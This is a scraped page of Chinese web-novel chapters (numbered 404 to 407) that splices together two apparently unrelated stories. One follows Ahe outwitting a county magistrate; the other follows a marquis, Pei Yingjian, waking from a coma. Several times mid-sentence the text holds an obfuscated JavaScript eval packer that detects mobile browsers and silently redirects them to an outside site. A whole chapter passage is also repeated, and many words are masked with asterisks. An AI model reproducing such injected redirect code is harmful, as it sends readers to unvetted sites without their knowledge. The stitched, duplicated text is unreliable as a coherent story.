“我给你的那十文钱。”阿禾的眼神清澈而认真,“我们的启动资金。” **子愈发迷茫,但还是从怀里摸出那枚被他体温捂热的铜钱,拍在阿禾掌心。 他以为她是要退钱散伙,心里竟涌上一股说不清的憋闷。 阿禾却将那枚铜钱重新递到他面前。 “拿着它,去办第二件事。” “……什么事?” “去城里所有的药铺。每家都去,用这十文钱,分开买。就买一种东西——最苦的黄连。” 院子里死一般的寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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片刻之后,一辆不起眼的青布马车,在几个便衣护卫的簇拥下,匆匆驶出了栖霞镇的东门。 夜幕再次降临。 **子带着几个手下回到了天香楼的雅间,将几个沉甸甸的布包放在桌上。 一打开,满屋子都飘散开一股浓得化不开的苦味。 “阿禾姑娘,城里大大小小十家药铺的黄连,都在这儿了。”**子脸上带着一丝疲惫和浓浓的困惑,向阿禾复命。 他想不通,但还是照做了。 他又想起一件事,补充道:“还有,我们回来的时候,看见县令大人的车驾出城了,行色匆匆,看方向……好像真是奔着邻县去的。” 雅间里,烛火轻轻摇曳。 阿禾看着桌上那堆能把人苦死的黄连,又听着**子的回报,脸上终于露出了一个笑容。 那笑容,像极了守在溪边,看到鱼儿终于咬钩的渔夫。 “很好。” 她点了点头,眨眨眼说道:“鱼,上钩了。” 栖霞镇东门,一辆青布马车卷着尘土疾驰而回,在县衙后门堪堪停住。 车帘猛地被掀开,钱县令一张脸黑如锅底,从车上跳了下来,袍角都带起了风。 “废物!一群废物!”他一进书房,就将桌上的茶盏狠狠扫落在地,摔得粉碎,“什么女神医!连个影子都没有!满嘴胡言的刁民,竟敢戏耍本官!” 师爷跟在后面,战战兢兢,大气也不敢出。 他知道县令为老夫人的病已经到了何种山穷水尽的地步,抱了多大的希望,此刻就有多大的失望和怒火。 “大人息怒,息怒啊……”师爷躬着身子,小心翼翼地劝道,“或许是咱们去得不巧,那神医云游四方……” “够了!”钱县令双目赤红,指着师爷的鼻子骂道,“你也是个蠢货!别人说什么你都信!查!给我查!把这散播谣言的源头给我揪出来!我倒要看看,是谁吃了熊心豹子胆,敢拿本官的孝心开玩笑!” “是,是!小的这就去查!”师爷吓得一迭声地应着,连滚带爬地退了出去。 书房里,钱县令颓然坐倒在太师椅上,满腔的怒火散去,只剩下无边的疲惫和绝望。 他仿佛能听到后院卧房里,老母亲那微弱而痛苦的呻吟,让他心如刀绞。 …… 县衙门口,两座石狮子威严地镇守着,朱漆大门紧闭,八名衙役按着腰刀,神情肃穆地分列两旁,寻常百姓路过都要绕着走。 这地方,自带一股让人望而生畏的气场。 可今天,这气场却被几个不速之客打破了。 阿禾领着**子和他手下那几个打手,就这么直愣愣地站在了县衙大门的正前方。 **子等人换上了最体面的衣裳,可站在高大的门庭前,依旧显得局促不安,那股子混不吝的匪气被压得半点不剩,活像几只误入虎穴的耗子。 一名衙役早就注意到了他们,见他们杵在那儿半天不动,终于不耐烦地走上前来,手中水火棍往地上一顿,发出“咚”的一声闷响。 “看什么看?县衙重地,闲杂人等,速速退开!” 他上下打量着这伙人,目光落在为首的阿禾身上,见是个面生的村姑,眼中的轻蔑更浓了。 而看到她身后的**子,那轻蔑就变成了毫不掩饰的厌恶。 “我道是谁,原来是你这条**。怎么,镇上讹不到钱,想到衙门口来碰运气了?” **子脸上肌肉一抽,搁在平时,他早就一拳挥上去了。 可他眼角余光瞥见身前阿禾那纤弱却笔直的背影,硬生生把火气压了下去,拳头在袖子里攥得咯吱作响。 阿禾仿佛没听见那衙役的污言秽语,她抬起头,清亮的目光直视着对方,声音平稳得没有一丝波澜。 “这位官爷,我们不是来生事的。” “我们是来献药的。” “献药?”那衙役像是听到了天大的笑话,夸张地笑了起来,引得其他几个衙役也跟着哄笑。 “就凭你们?一个黄毛丫头,带着一群地痞流氓,献什么药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181776|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?**吗?” 他脸一板,水火棍指向阿禾的鼻尖,厉声喝道,“赶紧滚!再不滚,就把你们统统抓进大牢里吃几天牢饭!” **子手下的一个汉子年轻气盛,哪里受过这种指着鼻子骂的窝囊气,当即就要上前理论,却被**子一把死死按住了肩膀。 **子冲他摇了摇头,眼神里是前所未有的凝重。 他记得阿禾的吩咐。 “——从踏进县衙范围开始,无论对方说什么,做什么,你们都只需记住一件事:不开口,不动手。天塌下来,有我。” 阿禾依旧不恼,甚至还往前走了一小步,真诚地说道: “我知官爷不信。但家师炼制的丹药,确有奇效。听闻县令大人为老夫人的病日夜忧心,我们是真心想为大人分忧。” “你还敢胡说八道!”那衙役被她这副油盐不进的样子激怒了,举起水火棍就要推搡过来,“我看你就是那些散播谣言的奸细!拿下!” 眼看棍子就要捅到阿禾身上,**子和他手下的人几乎是本能地往前一拥,齐刷刷地挡在了阿禾身前。 他们没有亮家伙,也没有开口骂人,就那么沉默地用自己的身体筑成了一道人墙。 动作整齐划一,神情肃穆,竟隐隐透出一股军阵般的煞气。 这一下,反倒把那几个准备动手的衙役给镇住了。 他们是官,对方是匪。 匪徒见了官差,不跑就算胆大了,哪有这样不还手不开口,光用人墙来护着一个丫头的? 这阵仗,太怪了。 就在门口气氛僵持不下,剑拔**张之际,师爷正好从里面急匆匆地走了出来。 他刚被县令骂了个狗血淋头,正愁着上哪儿去找那散播谣言的倒霉蛋,一出门就看见门口这乱糟糟的一幕。 “吵什么吵!成何体统!”师爷厉声呵斥道。 领头的衙役一见师爷,立刻点头哈腰地迎上去:“张师爷,这伙人来路不明,非说要献什么神药,小的正要把他们赶走!” 第404章 这才是真正的本事 “民女不敢。”阿禾抬起头,目光清澈,认真地说道,“老夫人的病,药石只是其次,心病还须心药医。最好的药方,其实大人已经开下了。” 钱县令一愣。 “严惩周老虎,将其恶行昭告全城,还栖霞镇一个朗朗乾坤。”阿禾的声音不大,却字字清晰,“以雷霆之正气,冲散积郁之怨气。百姓心中怨气消了,府上的阴邪自然就散了。老夫人得知大人为民除害,得百姓称颂,心中必定宽慰顺畅。这,便是最好的冲喜,比任何汤药都管用。” 她说完,又向前一步,看着钱县令憔悴的面容,眉宇间流露出一丝真切的担忧: “大人为孝道所累,心力交瘁,亦需宽心。唯有您身子康健,老夫人才有真正的依靠。” 钱县令彻底怔住了。 他看着眼前这个村姑,看着她那双不含一丝杂质的眼睛,心里翻江倒海。 他明白了。 从散播神医谣言,引他出城扑空,再到衙门口献上“百姓之苦”,激化矛盾,逼他当众表态……每一步,都在她的算计之内。 自己被一个黄毛丫头**于股掌之间! 可偏偏,她给出的这条路,是眼下唯一能平息民怨、安抚母亲、保全自己名声的阳关大道。 怒火、**、后怕……种种情绪交织,最后却化作一声长长的、满是疲惫的叹息。 他挥了挥手,对身后的师爷沉声道: “传令下去,查抄周老虎家产,清算其名下所有烂账!凡有苦主,一律由官府出面偿还!另外,把他这些年犯下的事,桩桩件件,都给我写成布告,贴满全城!” “是!”师爷领命而去,背影都透着一股扬眉吐气的轻快。 …… 半个时辰后,钱掌柜被两个衙役“请”到了县衙。 他一路走来,腿肚子都在打颤,以为是受了牵连,心里把**子和那个叫阿禾的姑娘骂了千百遍。 可当师爷将三张一千两的银票拍在他面前时,他整个人都懵了。 “钱掌柜,这是周老虎欠你的三千两,县令大人做主,给你讨回来了。” 钱掌柜颤抖着手,拿起那几张薄薄的纸,感觉比千斤巨石还要沉。 他来来**看了好几遍,才敢相信这是真的。 他猛地抬头,目光越过师爷,望向不远处静静站立的阿禾。 那姑娘正对他微微笑着,眼神温和,仿佛只是做了一件微不足道的小事。 钱掌柜的眼神里,只剩下了震撼与敬畏。 衙门口,**子和他手底下那帮兄弟,亲眼看着钱掌柜失魂落魄地被带进去,又红光满面地捧着银票出来;亲眼看着一队队衙役冲进周老虎的宅子,抬出一箱箱金银;亲眼看着那张写满了罪状的布告被贴上墙头,引来无数百姓拍手称快。 他们没动一刀一枪,没说一句狠话。 可那个在栖霞镇横着走了多少年的周老虎,就这么倒了。 倒得无声无息,倒得干脆利落。 几个打手互相看着,都从对方眼里看到了深深的恐惧。 一股凉气从脚底板直冲天灵盖。 他们终于明白,阿禾姑娘的“本事”,根本不在拳脚,不在厮杀。 这才是真正的本事! **不见血的本事! …… 天香楼的雅间里。 钱掌柜将一个厚厚的钱袋推到阿禾面前,脸上堆满了前所未有的谄媚和恭敬: “阿禾姑娘,这是一百五十两酬金,剩下五十……不,这是三百两!剩下一百五十两,是我的一点心意!您……您真是神人啊!” 阿禾却意外的没有推辞。 她坦然地将钱袋收下,还十分真诚地道了声谢。 她打开钱袋,从中数出五十两银子,递到**子面前。 “黑哥,瘦猴兄弟的医药费,还有这些天兄弟们的酒钱。” **子看着那锭银子,却没有伸手去接。 他胸膛剧烈地起伏着,突然“扑通”一声,单膝跪在了阿禾面前,双手抱拳,声音因为激动而有些嘶哑。 “阿禾姑娘!从今往后,我**子和这帮兄弟,唯阿禾姑娘马首是瞻!” 他身后的几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181778|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉子也跟着齐刷刷跪了下去,神情肃穆。 阿禾却没受他们这一拜。 她伸出手,亲自将**子扶了起来,眼神认真得不容置疑。 “黑哥,我说过。” “我们是合伙人。” 她看着**子那张错愕的脸,眼神认真得像是在许什么重要的诺言, “这五十两,是瘦猴兄弟的汤药钱,剩下的,是兄弟们的酒肉钱。至于这三百两,本就是酬金,不是心意,咱们得按规矩办。” 她顿了顿,将那五十两银子塞进**子手里,又取了些银子,然后把剩下的钱袋推到钱掌柜面前。 语气温和却不容置喙:“钱掌柜,您是生意人,该知道坏了规矩,生意就做不长久。说好的一百五十两,就是一百五十两。” 钱掌柜看着那双清澈的眼睛,心里那点小九九,竟被看得无所遁形。 他张了张嘴,最后只得苦笑着收回钱袋,心中对这姑娘的敬畏又深了三分。 这哪里是个村姑,这分明是个活得比谁都通透的明白人! …… 半个时辰后,栖霞镇最大的粮米铺子门口。 **子和他手下那几个汉子,正吭哧吭哧地往一辆雇来的大牛车上搬着米袋。 他们脸上写满了迷茫。 就在刚才,阿禾姑娘领着他们,几乎横扫了镇上最好的几家铺子。 上好的白米、雪白的面粉、大块的肥膘猪肉、能扯出二丈长的棉布、还有给孩子吃的麦芽糖……牛车上堆得像座小山,引得路人频频侧目。 “阿禾姑娘……”**子抹了把汗,凑到正认真清点货物的阿禾身边,压低声音道,“咱们……咱们这是做什么?发了财,不该是先置办个大宅子,找个地方好好快活快活吗?” 他手底下那几个兄弟也是连连点头,眼神里全是这个意思。 在他们的认知里,有了钱,就该这么花。 阿禾抬起头,看了看他们,又看了看那满满一车的东西,脸上露出了那种真诚的笑容。 “黑哥,宅子是砖瓦垒的,风一吹就倒。” 第405章 阿禾有出息了 她轻轻拍了拍身边的米袋,发出“噗”的一声闷响,“人心,才是根基。根基扎得稳,楼才能盖得高。” 她的话,**子听得半懂不懂,但看着阿禾那笃定的神情,他没再多问,只是挠了挠头,转身吼道: “都愣着干什么!没听见姑娘的话吗?赶紧搬!” …… 牛车吱吱呀呀,载着一座移动的“金山”,慢悠悠地驶进了渡口村。 消息像长了翅膀,飞遍了村里的角角落落。 “快去看!顾家那丫头回来了!” “我的天爷!她租了牛车,车上拉的东西,怕是把镇子都搬空了!” 村民们从田间地头、自家院里涌了出来,跟在牛车后面,汇成一股人流。 他们看着车上那雪白的米面、肥腻的猪肉、鲜亮的布匹,每个人的眼睛里都冒着光。 那眼神,起初是震惊,然后是羡慕,当看到顾家那破败的院子根本装不下这么多东西时,又变成了火辣辣的嫉妒。 顾家老两口和顾大郎夫妇也跑了出来,看着这阵仗,腿都软了,话都说不利索。 “阿禾……你……你这是……” 人群的议论声越来越大,酸话也越来越多。 “发了横财了这是?” “哼,一个丫头片子,在外头不知道做了什么见不得人的勾当!” 就在这时,阿禾从牛车上跳了下来,清脆的声音不大,却稳稳地压过了所有嘈杂。 “各位叔伯婶子!” 她先是对着自家人笑了笑,安抚住他们,然后转向所有村民,微微躬身,脸上是惯有的真诚。 “我这次出门,得了些机缘,赚了点小钱。咱们渡口村是个什么光景,我心里清楚。一家富不算富,大家的日子都好过了,那才是真的好。” 她直起身,朗声道:“车上的东西,人人有份!每家一袋米,十尺布,二斤肉!” 整个村口,瞬间死一般的寂静。 所有人都以为自己听错了。 紧接着,便是山呼海啸般的狂喜! “阿禾丫头!你……你说的是真的?” “天爷啊!我没听错吧!” “阿禾真是好孩子!有出息了还不忘咱们这些乡亲!” 刚才还满嘴酸话的几个婆子,此刻的笑脸比谁都灿烂,夸人的词一个比一个花哨。 村民们看着阿禾的眼神,彻底变了。 那不再是羡慕嫉妒,而是一种近乎狂热的崇拜和拥戴。 躲在人群最后面,一棵老槐树的阴影里,王二癞子看着被村民们簇拥在中间,像个活菩萨一样的阿禾,嫉妒得双眼通红,指甲都掐进了肉里。 凭什么! 凭什么这个他以前想怎么欺负就怎么欺负的顾家,就因为有了这个不知道从哪来的丫头片子,就能有今天这般风光! 他看着那些村民感恩戴德的嘴脸,听着那些肉麻的吹捧,只觉得一口气堵在胸口,不上不下。 他啐了一口浓痰,悄无声息地退出了人群,那双阴鸷的眼睛里闪过一丝怨毒的狠厉,转身就朝着通往县城的土路,飞奔而去。 顾家的院子里,破天荒地燃起了两盏大灯笼,喜气洋洋。 村民们领了东西,千恩万谢地走了。 院里还剩下不少东西,那是阿禾特意留给自家人的。 顾母摸着那光滑的布料,眼泪就没停过。 “我儿……我的阿禾有出息了……” 就在一家人沉浸在巨大的喜悦中时,院门“砰”的一声,被人从外面一脚踹开。 “都给我住手!” 一声暴喝,七八个挎着腰刀、手持水火棍的衙役气势汹汹地闯了进来,为首那人满脸横肉,眼角有道刀疤,正是周老虎的酒肉朋友,新上任的衙班头,李疤子。 他身后,王二癞子探出半个脑袋,指着院中的阿禾,脸上是小人得志的狞笑。 李疤子目光如鹰,死死锁定在阿禾身上,嘴角扯出一个残忍的弧度。 “顾阿禾是吧?” “有人举报你妖言惑众,在乡野之间装神弄鬼,更用阴诡伎俩构陷良民周老虎!” 他手中的水火棍往地上一顿,发出沉闷的响声,震得人心头发颤。 “跟我们走一趟吧!” ……< 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碗中的水,在几个呼吸之间,就变成了一碗仿佛鲜血般的汤药。 云承月端起碗,走到床边。 裴应见没有犹豫,接过碗,一饮而尽。 滚烫的液体顺着喉咙滑入腹中,起初并没有什么特别的感觉,但很快,一股难以言喻的灼热感,就像是吞下了一块烙铁,从胃里轰然炸开,瞬间席卷了四肢百骸。 “呃!” 裴应见闷哼一声,身体不受控制地向后倒去,额头上青筋根根暴起,豆大的汗珠滚滚而下。 他感觉自己的五脏六腑都在被烈火焚烧,每一寸经脉,每一块骨骼,都在发出痛苦的呻吟。 “忍住!”云承月的声音在耳边响起,冰冷而清晰,“守住心神,这是药力在冲刷你体内淤积的死气和旧伤!” 青义在一旁看得心惊肉跳,双手死死攥着拳,指甲掐进了掌心,却不敢发出半点声音,生怕打扰了云承月。 第405章 阿禾有出息了 她轻轻拍了拍身边的米袋,发出“噗”的一声闷响,“人心,才是根基。根基扎得稳,楼才能盖得高。” 她的话,**子听得半懂不懂,但看着阿禾那笃定的神情,他没再多问,只是挠了挠头,转身吼道: “都愣着干什么!没听见姑娘的话吗?赶紧搬!” …… 牛车吱吱呀呀,载着一座移动的“金山”,慢悠悠地驶进了渡口村。 消息像长了翅膀,飞遍了村里的角角落落。 “快去看!顾家那丫头回来了!” “我的天爷!她租了牛车,车上拉的东西,怕是把镇子都搬空了!” 村民们从田间地头、自家院里涌了出来,跟在牛车后面,汇成一股人流。 他们看着车上那雪白的米面、肥腻的猪肉、鲜亮的布匹,每个人的眼睛里都冒着光。 那眼神,起初是震惊,然后是羡慕,当看到顾家那破败的院子根本装不下这么多东西时,又变成了火辣辣的嫉妒。 顾家老两口和顾大郎夫妇也跑了出来,看着这阵仗,腿都软了,话都说不利索。 “阿禾……你……你这是……” 人群的议论声越来越大,酸话也越来越多。 “发了横财了这是?” “哼,一个丫头片子,在外头不知道做了什么见不得人的勾当!” 就在这时,阿禾从牛车上跳了下来,清脆的声音不大,却稳稳地压过了所有嘈杂。 “各位叔伯婶子!” 她先是对着自家人笑了笑,安抚住他们,然后转向所有村民,微微躬身,脸上是惯有的真诚。 “我这次出门,得了些机缘,赚了点小钱。咱们渡口村是个什么光景,我心里清楚。一家富不算富,大家的日子都好过了,那才是真的好。” 她直起身,朗声道:“车上的东西,人人有份!每家一袋米,十尺布,二斤肉!” 整个村口,瞬间死一般的寂静。 所有人都以为自己听错了。 紧接着,便是山呼海啸般的狂喜! “阿禾丫头!你……你说的是真的?” “天爷啊!我没听错吧!” “阿禾真是好孩子!有出息了还不忘咱们这些乡亲!” 刚才还满嘴酸话的几个婆子,此刻的笑脸比谁都灿烂,夸人的词一个比一个花哨。 村民们看着阿禾的眼神,彻底变了。 那不再是羡慕嫉妒,而是一种近乎狂热的崇拜和拥戴。 躲在人群最后面,一棵老槐树的阴影里,王二癞子看着被村民们簇拥在中间,像个活菩萨一样的阿禾,嫉妒得双眼通红,指甲都掐进了肉里。 凭什么! 凭什么这个他以前想怎么欺负就怎么欺负的顾家,就因为有了这个不知道从哪来的丫头片子,就能有今天这般风光! 他看着那些村民感恩戴德的嘴脸,听着那些肉麻的吹捧,只觉得一口气堵在胸口,不上不下。 他啐了一口浓痰,悄无声息地退出了人群,那双阴鸷的眼睛里闪过一丝怨毒的狠厉,转身就朝着通往县城的土路,飞奔而去。 顾家的院子里,破天荒地燃起了两盏大灯笼,喜气洋洋。 村民们领了东西,千恩万谢地走了。 院里还剩下不少东西,那是阿禾特意留给自家人的。 顾母摸着那光滑的布料,眼泪就没停过。 “我儿……我的阿禾有出息了……” 就在一家人沉浸在巨大的喜悦中时,院门“砰”的一声,被人从外面一脚踹开。 “都给我住手!” 一声暴喝,七八个挎着腰刀、手持水火棍的衙役气势汹汹地闯了进来,为首那人满脸横肉,眼角有道刀疤,正是周老虎的酒肉朋友,新上任的衙班头,李疤子。 他身后,王二癞子探出半个脑袋,指着院中的阿禾,脸上是小人得志的狞笑。 李疤子目光如鹰,死死锁定在阿禾身上,嘴角扯出一个残忍的弧度。 “顾阿禾是吧?” “有人举报你妖言惑众,在乡野之间装神弄鬼,更用阴诡伎俩构陷良民周老虎!” 他手中的水火棍往地上一顿,发出沉闷的响声,震得人心头发颤。 “跟我们走一趟吧!” ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“忍住!”云承月的声音在耳边响起,冰冷而清晰,“守住心神,这是药力在冲刷你体内淤积的死气和旧伤!” 青义在一旁看得心惊肉跳,双手死死攥着拳,指甲掐进了掌心,却不敢发出半点声音,生怕打扰了云承月。 第406章 再见客栈 裴应见死死咬着牙,牙关咯咯作响,一丝血线从他嘴角溢出。 他的意识在烈火中沉浮,脑海里那些混乱的记忆碎片再次翻涌上来。 秦月娘决绝的背影,她留下的那件带着体温的冬衣,青川被割掉舌头的惨状,青理倒在血泊中的身影…… 一幕幕,一桩桩,都化作了助燃的烈油,让那股焚身之火烧得更加旺盛。 痛苦。 无边的痛苦。 就在裴应见感觉自己快要被这痛苦撕碎的时候,云承月动了。 他手中不知何时已经多了一排长短不一的银针,在灯火下闪烁着森然的寒光。 “青义,按住他!” 青义一个激灵,立刻扑上前,用尽全身力气按住裴应见不断痉挛的肩膀。 下一刻,云承月手腕翻飞,一根根银针精准而迅疾地刺入了裴应见周身的大穴。 头顶的百会,胸口的神庭,腹部的气海…… 每一根银针刺入,都像是一道冰冷的闪电劈进他燃烧的身体,带来一阵更加剧烈的、冰火交加的极致痛楚。 裴应见的身体猛地弓起,喉咙里发出一声不似人声的嘶吼,随即双眼一翻,彻底失去了意识。 “侯爷!”青义骇然大叫。 云承月双手依旧稳定如山,不断捻动着银针,控制着药力在他体内奔走的方向,“他只是心神承受不住,昏过去了。现在才是最关键的时候,成败在此一举。” 时间,在令人窒息的沉默中一点一滴地流逝。 屋外,不知何时又下起了淅淅沥沥的小雨,敲打着窗棂。 青义跪在床边,一动不动地看着裴应见。 他的侯爷脸色惨白如纸,嘴唇却呈现出一种诡异的殷红,胸口微弱地起伏着,若非云承月说他还有气息,青义几乎要以为他已经…… 这一夜,裴应见没有醒。 他陷入了深度昏迷。 一天。 两天。 三天。 裴应见始终没有醒来。 除了每日云承月会给他喂食一些流质,再施针巩固,他就像一个沉睡的活死人,没有任何苏醒的迹象。 青义的嘴上急出了满嘴的燎泡,云承月的脸色也一天比一天凝重。 他们都清楚,昏睡的时间越长,情况就越凶险。 可是他们也没有办法,唯有赌。 唯有等。 等他自己醒来。 而没有人知道,此刻的裴应见意识并未消散,而是坠入了一片无边无际的黑暗与虚无之中。 他感觉自己很轻,像一缕没有重量的青烟,在这片黑暗里漫无目的地飘荡。 不知过了多久,前方忽然出现了一点光。 那光芒越来越亮,越来越近,最终将他整个吞没。 当他再次恢复感知时,发现自己正站在一处熟悉又陌生的地方。 这是一座古色古香的客栈门前。 雕花的廊柱,青瓦的屋檐,挂着“如意客栈”的招牌,一切都和他记忆深处的某个地方完全重合。 他心中涌起一股强烈的冲动,他觉得这里面有对他至关重要的东西,他必须进去。 他抬步向前,伸手去推那扇厚重的木门。 然而,他的手却毫无阻碍地穿了过去。 他愣住了。 低头看去,他的身体呈现出一种半透明的形态,仿佛随时都会被风吹散。 他……没有实体? 这到底是怎么回事? 就在他惊疑不定之际,客栈里传来了两个人的对话声。 一个,是略显苍老、带着激动和颤抖的男性声音。 另一个,是中年女人的声音,同样充满了难以置信的狂喜。 “钱老先生,您看到了,我没有骗您!敬意和姚祁的身体一点都没有变化!就像睡着了一样!” 老者的声音里带着哭腔:“这……这是奇迹!医学上根本无法解释!” 裴应见的魂体猛地一震。 钱老先生? 敬意?姚祁? 这几个称呼,像是一道道惊雷,在他混乱的意识中轰然炸响。 好熟悉,可……完全想不起来。 他凝神细听,生怕错过任何一个字。 只听那个女人继续说道:“我们必须把他们好好保存起来!一定有办法的!绵绵要是知道这个消息,她一定会很高兴的!” 老者的声音也变得坚定起来: “对!不能再放在医院的太平间了,得找个最安全、最恒温的地方。我这就去联系……无论花多少钱,都要保住他们!这或许是他们回来的希望!” 绵绵—— 这个名字—— 裴应见只觉得自己整个人都在轰轰作响,很多模糊杂乱的记忆涌上来,可他却丝毫抓不住半点头绪。 只有这个名字。 绵绵…… 她,到底是谁? 他感觉到她很重要,非常重要,甚至或许比自己的生命还要重要…… 可是,为什么! 他根本想不起来! 许久,裴应见才平复了下来,开始想他们对话里的其他内容。 尸身不腐? 回来的希望? 这是什么意思? 这些人的身体没有腐坏,是不是意味着,他们的魂魄也像自己一样,去了不同的地方? 而“回来的希望”,又是指什么? 是指他们的魂魄,还有可能回到原来的身体里去吗? 那他们到底去了哪里呢? 他觉得他好像已经碰触到一个神秘真相的关键了。 他疯狂地想要冲进客栈,想要看一看,想要弄个清楚。 可他的魂体根本无法触碰任何实物,只能徒劳地一次次穿门而过。 裴应见疯狂地冲击着那扇木门,一次,两次,一百次。 每一次都是毫无阻碍地穿过,每一次都带着更深的虚无与绝望。 他像一个被困在玻璃罩子里的幽魂,能看到一切,却触碰不到分毫。 他不甘心。 那股强烈的预感告诉他,门后面有他必须知道的真相。 既然正门进不去,那就从旁边。 他飘向客栈旁边的店铺。 那是一家挂着“锦绣缘”招牌的铺子,里面陈列着各式各样精美的衣服,另一边则是一家小小的杂货铺,货架上摆满了各种他从未见过的、包装奇异的食物。 陌生,却又透着一股说不出的熟悉感。 他毫不犹豫地朝着“锦绣缘”的墙壁撞了过去。 结果,和客栈的门一样。 他的魂体如一缕青烟,直接穿墙而过,又从另一面穿了出来。 第407章 他记起了一切除了她 杂货铺,同样如此。 无论他如何努力,都像是在跟空气搏斗,始终被隔绝在这个真实的世界之外。 他愤怒。 他绝望。 就在这个时候, “轰——” 裴应见的意识猛地一沉,仿佛从万丈高空坠落,瞬间被无边的黑暗和沉重的肉体拉扯了回去。 …… 农家小屋里。 跪在床边,已经守了三天三夜的青义终于撑不住,头一点一点地打着瞌。 云承月正在不远处的桌案前,借着昏黄的油灯,仔细地研磨着药材,神情专注而凝重。 寂静的空气中,只听得见窗外细雨的沙沙声,和药杵在石臼中发出的沉闷声响。 突然。 “嗬——” 一声压抑而痛苦的抽气声,打破了这片死寂。 床上的裴应见,身体猛地一弹,双眼豁然睁开。 不同于之前那种空洞无神,这次睁开的,是一双真正恢复了神采的眼睛。 虽然依旧布满血丝,疲惫不堪,但那深处,却有了焦点,有了属于活人的情绪。 “侯……侯爷?” 青义一个激灵,瞬间惊醒,连滚带爬地扑到床边。 裴应见正大口大口地喘着粗气,胸膛剧烈起伏。 他望向裴应见的眼睛,一下子就明白了什么,激动得声音都变了调,眼泪不受控制地夺眶而出。 “侯爷!您醒了!您真的醒了!” 云承月也立刻放下手中的东西,快步走到床边,两根手指迅速搭上了裴应见的手腕。 片刻后,他那一直紧绷的脸上,终于流露出一丝微不可察的松弛。 脉象虽然依旧虚浮,但已经不再是之前那种油尽灯枯的死脉,而是有了生机,正在缓慢而坚定地恢复。 龙血藤的药力,终究还是将他从鬼门关拽了回来。 并且修复了他受损的神魂! 裴应见没有理会青义的哭喊,他的目光越过青义,落在了云承月的脸上。 他的喉咙干得像是要冒火,挣扎了半晌,才发出几个沙哑的音节。 “水……” “水!水!先生,侯爷要喝水!”青义手忙脚乱地去倒水。 裴应见却依旧看着云承月,眼神里带着一丝探究和困惑。 他看着云承月那双清亮有神的眼睛,那双本该被一层白翳覆盖、看不见任何光亮的眼睛。 “你的眼睛……” 云承月的动作微微一顿,随即万般滋味涌上心头。 不用再多问,他的裴望之,真的回来了。 他想起来了,甚至已经想起了他。 还知道他之前眼睛是看不见的。 可…… 关于他的眼睛是如何治好的,他明明是知道的,然而他这样问,是不是……关于那个世界的记忆,他还没有恢复? 云承月于是试探着问了几句,最后果然如此。 他不记得自己曾经到过一个奇怪的世界,在一个奇怪的客栈里遇到一个奇女子。 他完全忘记了那段经历,更忘记了那个叫秦绵绵的姑娘。 云承月心中千回百转,最终也只是化为一声叹息。 他神色恢复了平静,淡淡道: “此事说来话长,你大病初愈,还是先顾好自己的身体。等你彻底好了,我再慢慢告诉你。” 青义已经端着一碗温水过来,小心翼翼地扶起裴应见,一勺一勺地喂他喝下。 几勺温水下肚,裴应见喉咙里的灼烧感总算缓解了一些。 他靠在床头,闭上眼睛,脑子里依旧是一片翻江倒海的混乱。 那个光怪陆离的客栈,那个叫“绵绵”的名字,那具无法触碰实物的魂体……一切都像是一场荒诞的梦。 云承月没有追问,只是静静地观察着他的神色,而后又小心翼翼开口: “望之……你还记得其他的事情吗?” “关于侯府,关于京城……关于……秦月娘。” 最后三个字,云承月说得极轻,却像一记重锤,狠狠砸在了裴应见的脑海里。 轰! 无数被压制、被遗忘、被扭曲的记忆碎片,在这一刻轰然炸开,如同决堤的洪水,瞬间冲垮了所有的混沌与迷茫。 他想起来了。 他想起自己是如何被皇帝设计,身负重伤,九死一生。 他想起自己神魂不清状若疯癫,被皇帝和秦月娘一起迫害,甘愿为那女人做奴做狗。 他想起青川被割掉舌头,满嘴是血,痛苦痉挛的惨状。 他想起自己被伤痛和仇恨折磨得神志不清,日夜被噩梦纠缠,形同疯魔。 那个叫秦月娘的女人…… “咔!” 裴应见的手,死死攥住了身下的床沿,坚硬的木板竟被他捏出了一道清晰的裂痕。 他再次睁开眼。 那双眼睛里,所有的迷茫与虚弱都已褪去,取而代之的,是淬了寒冰的冷冽,是凝如实质的杀意。 那股杀意甚至让整个屋子的温度都骤降了几分。 青义被这股气势骇得心头一颤,下意识地后退了半步,敬畏地垂下头。 他知道,那个杀伐果决的侯爷,回来了。 “青义。” 裴应见开口,声音依旧沙哑,却带着不容置喙的威严。 “属下在!”青义立刻单膝跪地。 “备马。”裴应见一字一顿,每一个字都像是从牙缝里挤出来的,“我们回京城。” 青义猛地抬头,满脸震惊:“侯爷!不可啊!您的身体……” 